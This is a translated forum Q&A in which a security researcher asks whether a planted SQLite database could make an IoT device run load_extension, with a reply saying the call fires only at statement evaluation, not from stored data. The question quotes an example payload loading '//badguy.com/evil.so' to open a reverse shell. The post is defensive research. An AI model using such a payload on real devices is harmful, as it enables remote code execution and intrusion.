创建恶意SQLite数据库以在IoT设备上导入

bqf10yzr  于 12个月前  发布在  SQLite
关注(0)|答案(1)|浏览(134)

我正在对一些物联网设备进行一些安全研究,其中一些设备允许攻击者在现有文件上复制sqlite db文件,重新启动,现在使用攻击者的db。我觉得这不是个好主意。
据我所知,类似于嵌入到test VALUES(load_extension(“//badguy.com/evil.so“,“reverse_shell”));将导致执行外部库(如果启用了load_extensions,这是某些IoT设备的情况)
不确定这种风险是否只有在他们可以通过运行时SQL注入来实现的情况下才有效,或者是否可以通过添加到导入的数据库模式中来实现。
这是后者,攻击者可以利用,尽管我尝试用这样的模式创建测试数据库失败了,因为添加它的SQL只是试图运行有效负载(在我的测试PC上),而不是为导入测试更改恶意数据库。
十六进制编辑测试数据库只会由于校验和等而导致错误。
可能只有SQL注入是一种风险--在这种情况下,我可以继续进行下一个测试领域。
尝试了sqlite命令shell和Windows GUI,以使测试数据库包含扩展到test VALUES(load_extension(“//badguy.com/evil.so“,“reverse_shell”));但是它们只是执行有效载荷而不改变DB。
如果攻击者可以将自己的数据库复制到设备上,是否存在滥用load_extension的风险?如果是这样,我如何测试它?

c9qzyr3d

c9qzyr3d1#

Reddit上的ElperRoborRachotoo回答了我:
不确定这种风险是否有效,如果他们可以通过运行时SQL注入来这样做,或者如果它可以通过添加到导入的数据库值来完成。
只有前者,load_extension在语句求值时被调用。不对数据库内容进行评估。1
SQLite文件格式是有文档记录的,因此在编辑数据库时,您还可以更新相应的校验和。
但是它们只是执行有效载荷而不改变DB。
您使用的语句将插入调用load_extension的结果;它可能会被拒绝,因为它是None。
1.除非有虫子

相关问题